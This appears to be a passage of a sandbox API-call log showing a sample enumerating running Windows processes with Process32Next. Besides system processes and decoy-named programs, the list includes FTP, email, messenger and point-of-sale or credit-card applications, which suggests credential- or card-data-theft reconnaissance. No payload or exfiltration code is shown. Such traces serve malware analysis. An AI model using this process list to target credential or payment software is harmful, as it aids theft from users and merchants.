pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0237.366] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0237.369] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0237.371] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0237.373] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0237.375] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0237.377] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0237.379] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.381] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.383] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0237.385] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.387] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.389] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.390] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.392] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.442] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.444] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.445] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0237.447] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0237.448] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0237.450] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.451] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0237.452] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0237.454] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0237.455] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0237.457] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.458] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0237.460] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0237.461] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0237.462] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0237.464] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0237.465] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0237.466] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0237.468] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0237.469] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0237.471] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0237.472] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0237.474] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0237.475] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0237.477] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0237.478] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0237.479] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0237.481] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0237.482] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0237.483] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0237.485] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0237.486] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0237.535] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0237.537] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0237.538] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0237.540] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0237.541] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0237.543] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0237.544] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0237.545] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0237.547] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0237.548] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0237.552] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0237.554] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0237.555] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0237.557] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0237.559] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0237.561] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0237.563] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0237.564] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0237.566] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0237.568] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0237.569] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0237.571] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0237.573] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0237.574] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0237.576] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0237.578] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0237.579] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0237.629] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0237.631] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0237.633] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0237.635] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0237.636] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0237.638] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0237.640] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0237.641] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0237.643] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0237.644] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0237.646] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, 